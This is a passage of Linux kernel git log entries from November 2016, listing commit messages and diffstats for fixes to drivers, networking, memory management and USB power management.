generic performance counters. Signed-off-by: Janakarajan Natarajan Acked-by: Borislav Petkov Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Suravee Suthikulpanit Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1479399306-13375-1-git-send-email-Janakarajan.Natarajan@amd.com Signed-off-by: Ingo Molnar arch/x86/events/amd/core.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 91e08ab0c8515450258d7ad9033bfe69bebad25a Author: Josh Poimboeuf Date: Thu Nov 17 09:57:24 2016 -0600 x86/dumpstack: Prevent KASAN false positive warnings The oops stack dump code scans the entire stack, which can cause KASAN "stack-out-of-bounds" false positive warnings. Tell KASAN to ignore it. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: davej@codemonkey.org.uk Cc: dvyukov@google.com Link: http://lkml.kernel.org/r/5f6e80c4b0c7f7f0b6211900847a247cdaad753c.1479398226.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c2d75e03d6307bda0e14b616818a6f7b09fd623a Author: Josh Poimboeuf Date: Thu Nov 17 09:57:23 2016 -0600 x86/unwind: Prevent KASAN false positive warnings in guess unwinder The guess unwinder scans the entire stack, which can cause KASAN "stack-out-of-bounds" false positive warnings. Tell KASAN to ignore it. Reported-by: Peter Zijlstra Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: davej@codemonkey.org.uk Cc: dvyukov@google.com Link: http://lkml.kernel.org/r/61939c0b2b2d63ce97ba59cba3b00fd47c2962cf.1479398226.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/unwind_guess.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 9853a55ef1bb66d7411136046060bbfb69c714fa Author: Johannes Berg Date: Tue Nov 15 12:05:11 2016 +0100 cfg80211: limit scan results cache size It's possible to make scanning consume almost arbitrary amounts of memory, e.g. by sending beacon frames with random BSSIDs at high rates while somebody is scanning. Limit the number of BSS table entries we're willing to cache to 1000, limiting maximum memory usage to maybe 4-5MB, but lower in practice - that would be the case for having both full-sized beacon and probe response frames for each entry; this seems not possible in practice, so a limit of 1000 entries will likely be closer to 0.5 MB. Cc: stable@vger.kernel.org Signed-off-by: Johannes Berg net/wireless/core.h | 1 + net/wireless/scan.c | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 70 insertions(+) commit 330e832abda923df06a4ca6d3faac6e9c1b42548 Author: Florian Westphal Date: Thu Nov 17 13:21:46 2016 +0100 xfrm: unbreak xfrm_sk_policy_lookup if we succeed grabbing the refcount, then if (err && !xfrm_pol_hold_rcu) will evaluate to false so this hits last else branch which then sets policy to ERR_PTR(0). Fixes: ae33786f73a7ce ("xfrm: policy: only use rcu in xfrm_sk_policy_lookup") Reported-by: Nicolas Dichtel Tested-by: Nicolas Dichtel Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 96ed1fe511a8b4948e53f3bad431d8737e8f231f Author: Michael Neuling Date: Fri Nov 18 14:08:56 2016 +1100 powerpc/mm/radix: Invalidate ERAT on tlbiel for POWER9 DD1 On POWER9 DD1, when we do a local TLB invalidate we also need to explicitly invalidate the ERAT. Signed-off-by: Michael Neuling Signed-off-by: Michael Ellerman arch/powerpc/include/asm/ppc-opcode.h | 1 + arch/powerpc/mm/tlb-radix.c | 4 ++++ 2 files changed, 5 insertions(+) commit 208da78e8ec8b6d6ce3747ab0e5c120458e08ae6 Author: Johannes Thumshirn Date: Thu Nov 17 12:50:23 2016 +0100 scsi: libfc: fix seconds_since_last_reset miscalculation Commit 540eb1eef0ab ("scsi: libfc: fix seconds_since_last_reset calculation") removed the use of 'struct timespec' from fc_get_host_stats(). This broke the output of 'fcoeadm -s' after kernel 4.8-rc1. Signed-off-by: Johannes Thumshirn Cc: # v4.8+ Fixes: 540eb1eef0ab ("scsi: libfc: fix seconds_since_last_reset calculation") Acked-by: Arnd Bergmann Reviewed-by: Bart Van Assche Signed-off-by: Martin K. Petersen drivers/scsi/libfc/fc_lport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 68d85d0e03eab60c238ebe673c7cea1cf70275d4 Author: Wei Yongjun Date: Sat Oct 29 16:31:17 2016 +0000 i2c: digicolor: use clk_disable_unprepare instead of clk_unprepare since clk_prepare_enable() is used to get i2c->clk, we should use clk_disable_unprepare() to release it for the error path. Signed-off-by: Wei Yongjun Acked-by: Baruch Siach Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-digicolor.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9883ed4433b358528e1a41e56ae01a4b02a1dde3 Merge: c28aede b7f865e Author: Olof Johansson Date: Thu Nov 17 16:43:38 2016 -0800 Merge tag 'sunxi-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into fixes Allwinner fixes for 4.9 A fix to reintroduce missing pinmux options that turned out not to be optional. * tag 'sunxi-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: ARM: dts: sun8i: fix the pinmux for UART1 Signed-off-by: Olof Johansson commit c28aedec503d42a2b9f86102e3ae9d03bb54079e Merge: d2e3cb9 5bf7b6e Author: Olof Johansson Date: Thu Nov 17 16:38:38 2016 -0800 Merge tag 'sti-dt-for-v4.9-rc' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti into fixes STi DT fix: Fix typo cs-gpio to cs-gpios * tag 'sti-dt-for-v4.9-rc' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti: ARM: dts: STiH410-b2260: Fix typo in spi0 chipselect definition Signed-off-by: Olof Johansson commit d2e3cb98402421d29c296c9ec4257804c9705fad Merge: 52cad4b e3c9d9d Author: Olof Johansson Date: Thu Nov 17 16:38:01 2016 -0800 Merge tag 'imx-fixes-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into fixes i.MX fixes for 4.9, 2nd round: It fixes a boot failure on imx53-qsb board with a DA9053 PMIC, which is caused by the regulator core change, commit fa93fd4ecc9c ("regulator: core: Ensure we are at least in bounds for our constraints"). * tag 'imx-fixes-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: dts: imx53-qsb: Fix regulator constraints Signed-off-by: Olof Johansson commit 52cad4b54da3448c819d240c5a7ce08ec9398680 Merge: fbcdf68 1bc2f5f Author: Olof Johansson Date: Thu Nov 17 16:37:04 2016 -0800 Merge tag 'omap-for-v4.9/fixes-for-rc-cycle' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap into fixes Fixes for omaps for v4.9-rc cycle. Except for the omap3 fix for the SoC features printed, all these are quite trivial and tiny. The omap5 jack detection and gpadc patches are not strictly fixes, but I wanted to get binding document typo fixed before it pops up on other boards. The gpadc one liner was in the same series and I applied and pushed it out already before noticing it could have waited. The list of changes is: - Fix omap3 SoC features printed - Make sure OMAP_INTERCONNECT is selected for am43xx only configurations - Add missing memory node for torpedo - Initialize uart4_mask properly to avoid writing garbage to PRM registers - Fix NULL pointer dereference for omap4 volt_data - Add alias for omap5 gpadc needed by iio drivers - Enable omap5 jack headset jack detection and fix it's binding typo - Add missing memory node for logicpd-som-lv - Fix wrong SMPS6 voltage for VDD-DDR3 for omap5 * tag 'omap-for-v4.9/fixes-for-rc-cycle' of git://git.kernel.org/pub/scm/linux/kernel/git/tmlind/linux-omap: ARM: dts: omap5: board-common: fix wrong SMPS6 (VDD-DDR3) voltage ARM: omap3: Add missing memory node in SOM-LV ASoC: omap-abe-twl6040: fix typo in bindings documentation dts: omap5: board-common: enable twl6040 headset jack detection dts: omap5: board-common: add phandle to reference Palmas gpadc ARM: OMAP2+: avoid NULL pointer dereference ARM: OMAP2+: PRM: initialize en_uart4_mask and grpsel_uart4_mask ARM: dts: omap3: Fix memory node in Torpedo board ARM: AM43XX: Select OMAP_INTERCONNECT in Kconfig ARM: OMAP3: Fix formatting of features printed Signed-off-by: Olof Johansson commit fbcdf6877eacc0dc6b69b5aac5b43fb6b182aee4 Merge: 1c8018f 8d89700 Author: Olof Johansson Date: Thu Nov 17 16:33:39 2016 -0800 Merge tag 'mvebu-fixes-4.9-1' of git://git.infradead.org/linux-mvebu into fixes mvebu fixes for 4.9 (part 1) All of them are fixes for arm64 device tree - 2 for the SPI node on the Armada 7K/8K - 1 for the clock node on the Armada 37xx * tag 'mvebu-fixes-4.9-1' of git://git.infradead.org/linux-mvebu: arm64: dts: marvell: add unique identifiers for Armada A8k SPI controllers arm64: dts: marvell: fix clocksource for CP110 slave SPI0 arm64: dts: marvell: Fix typo in label name on Armada 37xx Signed-off-by: Olof Johansson commit c2ee69d83b2b14d68ad7ee1773fc1d40e97f201d Merge: 7d40c2c bc9db5a Author: Dave Airlie Date: Fri Nov 18 10:33:28 2016 +1000 Merge tag 'drm-intel-fixes-2016-11-17' of ssh://git.freedesktop.org/git/drm-intel into drm-fixes i915 misc fixes. * tag 'drm-intel-fixes-2016-11-17' of ssh://git.freedesktop.org/git/drm-intel: drm/i915: Assume non-DP++ port if dvo_port is HDMI and there's no AUX ch specified in the VBT drm/i915: Refresh that status of MST capable connectors in ->detect() drm/i915: Grab the rotation from the passed plane state for VLV sprites drm/i915: Mark CPU cache as dirty when used for rendering commit 1c8018f7a7a60a649260fdd7e8645a356299e920 Author: Cédric Le Goater Date: Wed Nov 2 08:57:04 2016 +0100 ipmi/bt-bmc: change compatible node to 'aspeed, ast2400-ibt-bmc' The Aspeed SoCs have two BT interfaces : one is IPMI compliant and the other is H8S/2168 compliant. The current ipmi/bt-bmc driver implements the IPMI version and we should reflect its nature in the compatible node name using 'aspeed,ast2400-ibt-bmc' instead of 'aspeed,ast2400-bt-bmc'. The latter should be used for a H8S interface driver if it is implemented one day. Signed-off-by: Cédric Le Goater Signed-off-by: Olof Johansson .../bindings/ipmi/aspeed,ast2400-bt-bmc.txt | 23 ---------------------- .../bindings/ipmi/aspeed,ast2400-ibt-bmc.txt | 23 ++++++++++++++++++++++ drivers/char/ipmi/bt-bmc.c | 4 ++-- 3 files changed, 25 insertions(+), 25 deletions(-) commit 7d40c2cf080950eab63a0747482027f5f1dae0d3 Author: Dave Airlie Date: Fri Nov 18 10:27:00 2016 +1000 Revert "drm/mediatek: set vblank_disable_allowed to true" This reverts commit f752fff611b99f5679224f3990a1f531ea64b1ec. Signed-off-by: Dave Airlie drivers/gpu/drm/mediatek/mtk_drm_drv.c | 1 - 1 file changed, 1 deletion(-) commit e9f01049d1ea4679a3258b8423fe54bae424ee0e Author: Dave Airlie Date: Fri Nov 18 10:26:39 2016 +1000 Revert "drm/mediatek: fix a typo of OD_CFG to OD_RELAYMODE" This reverts commit 83ba62bc700bab710b22be3a1bf6cf973f754273. Signed-off-by: Dave Airlie drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 623898671c8eb05639e746e6d84cffa281616438 Merge: 57400d3 d487562 Author: Linus Torvalds Date: Thu Nov 17 13:59:39 2016 -0800 Merge branch 'for-linus' of git://git.kernel.dk/linux-block Pull block fixes from Jens Axboe: "A set of fixes, one for NVMe from Keith, and a set for nvme-{rdma,t,f} from the usual suspects, fixing actual problems that would be a shame to release 4.9 with" * 'for-linus' of git://git.kernel.dk/linux-block: nvme/pci: Don't free queues on error nvmet-rdma: drain the queue-pair just before freeing it nvme-rdma: stop and free io queues on connect failure nvmet-rdma: don't forget to delete a queue from the list of connection failed nvmet: Don't queue fatal error work if csts.cfs is set nvme-rdma: reject non-connect commands before the queue is live nvmet-rdma: Fix possible NULL deref when handling rdma cm events commit 57400d305201e1025ea0c20c851173146271bd1b Merge: bec1b08 5c6b2aa Author: Linus Torvalds Date: Thu Nov 17 13:53:02 2016 -0800 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull rmda fixes from Doug Ledford. "First round of -rc fixes. Due to various issues, I've been away and couldn't send a pull request for about three weeks. There were a number of -rc patches that built up in the meantime (some where there already from the early -rc stages). Obviously, there were way too many to send now, so I tried to pare the list down to the more important patches for the -rc cycle. Most of the code has had plenty of soak time at the various vendor's testing setups, so I doubt there will be another -rc pull request this cycle. I also tried to limit the patches to those with smaller footprints, so even though a shortlog is longer than I would like, the actual diffstat is mostly very small with the exception of just three files that had more changes, and a couple files with pure removals. Summary: - Misc Intel hfi1 fixes - Misc Mellanox mlx4, mlx5, and rxe fixes - A couple cxgb4 fixes" * tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (34 commits) iw_cxgb4: invalidate the mr when posting a read_w_inv wr iw_cxgb4: set *bad_wr for post_send/post_recv errors IB/rxe: Update qp state for user query IB/rxe: Clear queue buffer when modifying QP to reset IB/rxe: Fix handling of erroneous WR IB/rxe: Fix kernel panic in UDP tunnel with GRO and RX checksum IB/mlx4: Fix create CQ error flow IB/mlx4: Check gid_index return value IB/mlx5: Fix NULL pointer dereference on debug print IB/mlx5: Fix fatal error dispatching IB/mlx5: Resolve soft lock on massive reg MRs IB/mlx5: Use cache line size to select CQE stride IB/mlx5: Validate requested RQT size IB/mlx5: Fix memory leak in query device IB/core: Avoid unsigned int overflow in sg_alloc_table IB/core: Add missing check for addr_resolve callback return value IB/core: Set routable RoCE gid type for ipv4/ipv6 networks IB/cm: Mark stale CM id's whenever the mad agent was unregistered IB/uverbs: Fix leak of XRC target QPs IB/hfi1: Remove incorrect IS_ERR check ... commit bec1b089ab287d5df160205f5949114e5a3d3162 Merge: d46bc34 680bb94 Author: Linus Torvalds Date: Thu Nov 17 13:49:30 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull vfs fixes from Al Viro: "A couple of regression fixes" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: fix iov_iter_advance() for ITER_PIPE xattr: Fix setting security xattrs on sockfs commit d46bc34da9bcdab815c4972ad0d433af8eb98c8a Merge: 5d19042 19ff7fc Author: Linus Torvalds Date: Thu Nov 17 13:45:57 2016 -0800 Merge tag 'for-linus-4.9-rc5-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux Pull orangefs fix from Mike Marshall: "orangefs: add .owner to debugfs file_operations Without ".owner = THIS_MODULE" it is possible to crash the kernel by unloading the Orangefs module while someone is reading debugfs files" * tag 'for-linus-4.9-rc5-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux: orangefs: add .owner to debugfs file_operations commit 30a391a13ab9215d7569da4e1773c5bb4deed96d Author: Roman Mashak Date: Wed Nov 16 17:16:10 2016 -0500 net sched filters: pass netlink message flags in event notification Userland client should be able to read an event, and reflect it back to the kernel, therefore it needs to extract complete set of netlink flags. For example, this will allow "tc monitor" to distinguish Add and Replace operations. Signed-off-by: Roman Mashak Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/cls_api.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 5d1904204c99596b50a700f092fe49d78edba400 Author: Aaron Lu Date: Thu Nov 10 17:16:33 2016 +0800 mremap: fix race between mremap() and page cleanning Prior to 3.15, there was a race between zap_pte_range() and page_mkclean() where writes to a page could be lost. Dave Hansen discovered by inspection that there is a similar race between move_ptes() and page_mkclean(). We've been able to reproduce the issue by enlarging the race window with a msleep(), but have not been able to hit it without modifying the code. So, we think it's a real issue, but is difficult or impossible to hit in practice. The zap_pte_range() issue is fixed by commit 1cf35d47712d("mm: split 'tlb_flush_mmu()' into tlb flushing and memory freeing parts"). And this patch is to fix the race between page_mkclean() and mremap(). Here is one possible way to hit the race: suppose a process mmapped a file with READ | WRITE and SHARED, it has two threads and they are bound to 2 different CPUs, e.g. CPU1 and CPU2. mmap returned X, then thread 1 did a write to addr X so that CPU1 now has a writable TLB for addr X on it. Thread 2 starts mremaping from addr X to Y while thread 1 cleaned the page and then did another write to the old addr X again. The 2nd write from thread 1 could succeed but the value will get lost. thread 1 thread 2 (bound to CPU1) (bound to CPU2) 1: write 1 to addr X to get a writeable TLB on this CPU 2: mremap starts 3: move_ptes emptied PTE for addr X and setup new PTE for addr Y and then dropped PTL for X and Y 4: page laundering for N by doing fadvise FADV_DONTNEED. When done, pageframe N is deemed clean. 5: *write 2 to addr X 6: tlb flush for addr X 7: munmap (Y, pagesize) to make the page unmapped 8: fadvise with FADV_DONTNEED again to kick the page off the pagecache 9: pread the page from file to verify the value. If 1 is there, it means we have lost the written 2. *the write may or may not cause segmentation fault, it depends on if the TLB is still on the CPU. Please note that this is only one specific way of how the race could occur, it didn't mean that the race could only occur in exact the above config, e.g. more than 2 threads could be involved and fadvise() could be done in another thread, etc. For anonymous pages, they could race between mremap() and page reclaim: THP: a huge PMD is moved by mremap to a new huge PMD, then the new huge PMD gets unmapped/splitted/pagedout before the flush tlb happened for the old huge PMD in move_page_tables() and we could still write data to it. The normal anonymous page has similar situation. To fix this, check for any dirty PTE in move_ptes()/move_huge_pmd() and if any, did the flush before dropping the PTL. If we did the flush for every move_ptes()/move_huge_pmd() call then we do not need to do the flush in move_pages_tables() for the whole range. But if we didn't, we still need to do the whole range flush. Alternatively, we can track which part of the range is flushed in move_ptes()/move_huge_pmd() and which didn't to avoid flushing the whole range in move_page_tables(). But that would require multiple tlb flushes for the different sub-ranges and should be less efficient than the single whole range flush. KBuild test on my Sandybridge desktop doesn't show any noticeable change. v4.9-rc4: real 5m14.048s user 32m19.800s sys 4m50.320s With this commit: real 5m13.888s user 32m19.330s sys 4m51.200s Reported-by: Dave Hansen Signed-off-by: Aaron Lu Signed-off-by: Linus Torvalds include/linux/huge_mm.h | 2 +- mm/huge_memory.c | 9 ++++++++- mm/mremap.c | 30 +++++++++++++++++++++--------- 3 files changed, 30 insertions(+), 11 deletions(-) commit b5c2d49544e5930c96e2632a7eece3f4325a1888 Author: Paolo Abeni Date: Wed Nov 16 16:26:46 2016 +0100 ip6_tunnel: disable caching when the traffic class is inherited If an ip6 tunnel is configured to inherit the traffic class from the inner header, the dst_cache must be disabled or it will foul the policy routing. The issue is apprently there since at leat Linux-2.6.12-rc2. Reported-by: Liam McBirnie Cc: Liam McBirnie Acked-by: Hannes Frederic Sowa Signed-off-by: Paolo Abeni Signed-off-by: David S. Miller net/ipv6/ip6_tunnel.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 30563f933a27eb9f9391a0e531dffde5182e422a Merge: cfc44a4 13c9d93 Author: David S. Miller Date: Thu Nov 17 12:05:05 2016 -0500 Merge branch 'phy-dev-leaks' Johan Hovold says: ==================== net: phy: fix of_node and device leaks These patches fix a couple of of_node leaks in the fixed-link code and a device reference leak in a phy helper. ==================== Signed-off-by: David S. Miller commit 13c9d934a5a1d04f055c20c2253090e9afd9a5d1 Author: Johan Hovold Date: Wed Nov 16 15:20:38 2016 +0100 net: phy: fixed_phy: fix of_node leak in fixed_phy_unregister Make sure to drop the of_node reference taken in fixed_phy_register() when deregistering a PHY. Fixes: a75951217472 ("net: phy: extend fixed driver with fixed_phy_register()") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/phy/fixed_phy.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ae30f4ce65e9d4de274b1472169ab3c27f5c666 Author: Johan Hovold Date: Wed Nov 16 15:20:37 2016 +0100 of_mdio: fix device reference leak in of_phy_find_device Make sure to drop the reference taken by bus_find_device() before returning NULL from of_phy_find_device() when the found device is not a PHY. Fixes: 6ed742363b9c ("of: of_mdio: Ensure mdio device is a PHY") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/of/of_mdio.c | 1 + 1 file changed, 1 insertion(+) commit 48c1699d5335bc045b50989a06b1c526b17a25ff Author: Johan Hovold Date: Wed Nov 16 15:20:36 2016 +0100 of_mdio: fix node leak in of_phy_register_fixed_link error path Make sure to drop the of_node reference also on failure to parse the speed property in of_phy_register_fixed_link(). Fixes: 3be2a49e5c08 ("of: provide a binding for fixed link PHYs") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/of/of_mdio.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit cfc44a4d147ea605d66ccb917cc24467d15ff867 Author: WANG Cong Date: Wed Nov 16 10:27:02 2016 -0800 net: check dead netns for peernet2id_alloc() Andrei reports we still allocate netns ID from idr after we destroy it in cleanup_net(). cleanup_net(): ... idr_destroy(&net->netns_ids); ... list_for_each_entry_reverse(ops, &pernet_list, list) ops_exit_list(ops, &net_exit_list); -> rollback_registered_many() -> rtmsg_ifinfo_build_skb() -> rtnl_fill_ifinfo() -> peernet2id_alloc() After that point we should not even access net->netns_ids, we should check the death of the current netns as early as we can in peernet2id_alloc(). For net-next we can consider to avoid sending rtmsg totally, it is a good optimization for netns teardown path. Fixes: 0c7aecd4bde4 ("netns: add rtnl cmd to add and get peer netns ids") Reported-by: Andrei Vagin Cc: Nicolas Dichtel Signed-off-by: Cong Wang Acked-by: Andrei Vagin Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller net/core/net_namespace.c | 2 ++ 1 file changed, 2 insertions(+) commit f7c4a46352b58c04e4d2111df7fe0358ce84546d Author: Tony Lindgren Date: Wed Nov 16 13:21:27 2016 -0600 phy: twl4030-usb: Fix for musb session bit based PM Now with musb driver implementing generic session bit based PM, we need to have the USB PHYs behaving in a sane way for platforms implementing PM. Currently twl4030-usb enables PM in twl4030_phy_power_on() and then disables it in twl4030_phy_power_off(). This will block PM runtime for the SoC when no cable is connected. Fix the issue by moving PM runtime autosuspend call to happen where it gets called in twl4030_phy_power_on(). Note that this patch should not be backported to anything before commit 467d5c980709 ("usb: musb: Implement session bit based runtime PM for musb-core") as before that all the glue layers implemented their own PM. Fixes: 467d5c980709 ("usb: musb: Implement session bit based runtime PM for musb-core") Tested-by: Ladislav Michl Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Acked-by: Kishon Vijay Abraham I Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/phy/phy-twl4030-usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 247529170d72ee16bbdfc94c3a696c79ea645c3a Author: Tony Lindgren Date: Wed Nov 16 13:21:26 2016 -0600 usb: musb: Drop pointless PM runtime code for dsps glue This already gets done automatically by PM runtime and we have a separate autosuspend timeout in musb_core.c. Reviewed-by: Johan Hovold Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_dsps.c | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) commit 536d599d4a5104a8f1f771d3a8db97138b0c9ebb Author: Tony Lindgren Date: Wed Nov 16 13:21:25 2016 -0600 usb: musb: Add missing pm_runtime_disable and drop 2430 PM timeout We are missing pm_runtime_disable() in 2430 glue layer. Further, we only need to enable PM runtime and disable it on exit. With musb_core.c doing PM, the glue layer as a parent will always be active when musb_core.c is active. This fixes host enumeration issues with some devices as reported by Ladislav Michl . And holding an RPM reference while deregistering the child would lead to a crash in omap2430_runtime_suspend() which dereferences the now freed child's driver data on put as pointed out by Johan Hovold : Unable to handle kernel paging request at virtual address 6b6b6f17 ... [] (omap2430_runtime_suspend) from [] (pm_generic_runtime_suspend+0x3c/0x48) [] (pm_generic_runtime_suspend) from [] (_od_runtime_suspend+0x1c/0x30) [] (_od_runtime_suspend) from [] (__rpm_callback+0x3c/0x70) [] (__rpm_callback) from [] (rpm_callback+0x30/0x90) [] (rpm_callback) from [] (rpm_suspend+0x118/0x6b4) [] (rpm_suspend) from [] (rpm_idle+0x104/0x440) [] (rpm_idle) from [] (__pm_runtime_idle+0x7c/0xb0) [] (__pm_runtime_idle) from [] (omap2430_remove+0x38/0x58) [] (omap2430_remove) from [] (platform_drv_remove+0x34/0x4c) Note that if changes are needed to the autosuspend timeout, it should be done in musb_core.c. Reported-by: Ladislav Michl Fixes: 87326e858448 ("usb: musb: Remove extra PM runtime calls from 2430 glue layer") Tested-by: Ladislav Michl Reviewed-by: Johan Hovold Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/omap2430.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 2bff3916fda9145587c0312b6f5c43d82504980c Author: Tony Lindgren Date: Wed Nov 16 13:21:24 2016 -0600 usb: musb: Fix PM for hub disconnect With a USB hub disconnected, devctl can be 0x19 for about a second on am335x and will stay forever on at least omap3. And we get no further interrupts when devctl session bit clears. This keeps PM runtime active. Let's fix the issue by polling devctl until the session bit clears or times out. We can do this by making musb->irq_work into delayed_work. And with the polling implemented, we can now also have the quirk for invalid VBUS it to avoid disconnecting too early while VBUS is ramping up. Fixes: 467d5c980709 ("usb: musb: Implement session bit based runtime PM for musb-core") Fixes: 65b3f50ed6fa ("usb: musb: Add PM runtime support for MUSB DSPS Tested-by: Ladislav Michl Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 29 +++++++++++++++++++---------- drivers/usb/musb/musb_core.h | 4 ++-- drivers/usb/musb/musb_gadget.c | 6 +++--- drivers/usb/musb/tusb6010.c | 6 +++--- 4 files changed, 27 insertions(+), 18 deletions(-) commit ea2f35c01d5ea72b43b9b4fb4c5b9417a9eb2fb8 Author: Tony Lindgren Date: Wed Nov 16 13:21:23 2016 -0600 usb: musb: Fix sleeping function called from invalid context for hdrc glue Commit 65b3f50ed6fa ("usb: musb: Add PM runtime support for MUSB DSPS glue layer") wrongly added a call for pm_runtime_get_sync to otg_timer that runs in softirq context. That causes a "BUG: sleeping function called from invalid context" every time when polling the cable status: [] (__might_sleep) from [] (__pm_runtime_resume+0x9c/0xa0) [] (__pm_runtime_resume) from [] (otg_timer+0x3c/0x254) [] (otg_timer) from [] (call_timer_fn+0xfc/0x41c) [] (call_timer_fn) from [] (expire_timers+0x120/0x210) [] (expire_timers) from [] (run_timer_softirq+0xa4/0xdc) [] (run_timer_softirq) from [] (__do_softirq+0x12c/0x594) I did not notice that as I did not have CONFIG_DEBUG_ATOMIC_SLEEP enabled. And looks like also musb_gadget_queue() suffers from the same problem. Let's fix the issue by using a list of delayed work then call it on resume. Note that we want to do this only when musb core and it's parent devices are awake, and we need to make sure the DSPS glue timer is stopped as noted by Johan Hovold . Note that we already are re-enabling the timer with mod_timer() in dsps_musb_enable(). Later on we may be able to remove other delayed work in the musb driver and just do it from pending_resume_work. But this should be done only for delayed work that does not have other timing requirements beyond just being run on resume. Fixes: 65b3f50ed6fa ("usb: musb: Add PM runtime support for MUSB DSPS glue layer") Reported-by: Johan Hovold Reviewed-by: Johan Hovold Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 109 +++++++++++++++++++++++++++++++++++++++-- drivers/usb/musb/musb_core.h | 7 +++ drivers/usb/musb/musb_dsps.c | 36 ++++++++++---- drivers/usb/musb/musb_gadget.c | 33 +++++++++++-- 4 files changed, 167 insertions(+), 18 deletions(-) commit c723bd6ec2b50e7c8b3424d9cb8febd8ffa3da1f Author: Tony Lindgren Date: Wed Nov 16 13:21:22 2016 -0600 usb: musb: Fix broken use of static variable for multiple instances We can't use static variable first for checking when musb is initialized when we have multiple musb instances like on am335x. Tested-by: Ladislav Michl Reviewed-by: Johan Hovold Tested-by: Laurent Pinchart Signed-off-by: Tony Lindgren Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/musb_core.c | 9 +++++---- drivers/usb/musb/musb_core.h | 2 ++ 2 files changed, 7 insertions(+), 4 deletions(-) commit a5a40d4624cd2328c69768f6eb41716fc249d7be Author: Arnd Bergmann Date: Tue Oct 25 23:29:10 2016 +0200 crypto: caam - fix type mismatch warning Building the caam driver on arm64 produces a harmless warning: drivers/crypto/caam/caamalg.c:140:139: warning: comparison of distinct pointer types lacks a cast We can use min_t to tell the compiler which type we want it to use here. Fixes: 5ecf8ef9103c ("crypto: caam - fix sg dump") Signed-off-by: Arnd Bergmann Reviewed-by: Horia Geantă Signed-off-by: Herbert Xu drivers/crypto/caam/caamalg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fcd2042e8d36cf644bd2d69c26378d17158b17df Author: Brian Norris Date: Tue Nov 8 18:28:24 2016 -0800 mwifiex: printk() overflow with 32-byte SSIDs SSIDs aren't guaranteed to be 0-terminated. Let's cap the max length when we print them out. This can be easily noticed by connecting to a network with a 32-octet SSID: [ 3903.502925] mwifiex_pcie 0000:01:00.0: info: trying to associate to '0123456789abcdef0123456789abcdef ' bssid xx:xx:xx:xx:xx:xx Fixes: 